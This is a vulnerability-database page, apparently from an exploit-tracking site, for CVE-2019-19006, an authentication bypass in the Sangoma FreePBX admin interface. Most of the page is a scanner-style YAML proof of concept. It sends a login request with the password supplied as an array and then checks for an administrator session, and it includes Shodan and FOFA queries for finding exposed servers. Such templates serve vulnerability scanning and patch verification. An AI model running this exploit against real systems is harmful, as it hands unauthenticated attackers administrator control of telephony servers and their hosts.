CVE-2019-19006: Sangoma FreePBX - Authentication Bypass (Broken Access Control)

2026-11-29 PoC Public

Description

Sangoma FreePBX 13.x before 13.0.197.14, 14.x before 14.0.13.12 and 15.x before 15.0.16.27 contains an authentication bypass in the admin interface (admin/config.php). The login handler sets the `$_SESSION['AMP_user']` session for the submitted username before validating the password and only clears it if the password check returns false; because the password value is not sanitized, supplying the password as an array (e.g. `password[0]=x`) makes the password check throw before the session-clear is reached, leaving an authenticated administrator session. A remote, unauthenticated attacker gains full admin access to the FreePBX GUI.

Details

CVE
CVE-2019-19006 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2019-19006

info:
  name: Sangoma FreePBX - Authentication Bypass (Broken Access Control)
  author: DhiyaneshDk
  severity: critical
  description: |
    Sangoma FreePBX 13.x before 13.0.197.14, 14.x before 14.0.13.12 and 15.x before 15.0.16.27 contains an authentication bypass in the admin interface (admin/config.php). The login handler sets the `$_SESSION['AMP_user']` session for the submitted username before validating the password and only clears it if the password check returns false; because the password value is not sanitized, supplying the password as an array (e.g. `password[0]=x`) makes the password check throw before the session-clear is reached, leaving an authenticated administrator session. A remote, unauthenticated attacker gains full admin access to the FreePBX GUI.
  impact: |
    A remote, unauthenticated attacker obtains administrator access to the FreePBX management interface, from which the telephony platform and underlying host can be fully compromised.
  remediation: |
    Upgrade to FreePBX framework 13.0.197.14, 14.0.13.12, 15.0.16.27 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19006
    - https://community.freepbx.org/t/freepbx-security-vulnerability-sec-2019-001/62772
    - https://research.checkpoint.com/2020/inj3ctor3-operation-leveraging-asterisk-servers-for-monetization/
    - https://github.com/FreePBX/framework/commit/e0516bb36023
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-19006
    epss-score: 0.92374
    epss-percentile: 0.99889
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"FreePBX Administration"
    fofa-query: title="FreePBX Administration"
  tags: cve,cve2019,freepbx,sangoma,auth-bypass,kev,vkev

variables:
  username: "admin"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /admin/config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'loginform')"
          - "contains(to_lower(body), 'freepbx')"
        condition: and
        internal: true

  - raw:
      - |
        POST /admin/config.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password[0]={{rand_text_alpha(8)}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 500 || status_code == 200 || status_code == 302"
        internal: true

  - raw:
      - |
        GET /admin/config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, '>Logout') || contains(body, 'freepbx_menu') || contains(body, 'Asterisk Info')"
          - "!contains(body, 'loginform')"
        condition: and
# digest: 4a0a00473045022056c93469e8ce59ee2e542e38dfc269c4dde7e06b9f460f67a41642adfc6682b7022100cb462ea917baf2c6b32587a234da069b269aadd6caa28fa74ce493cf38f1895a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life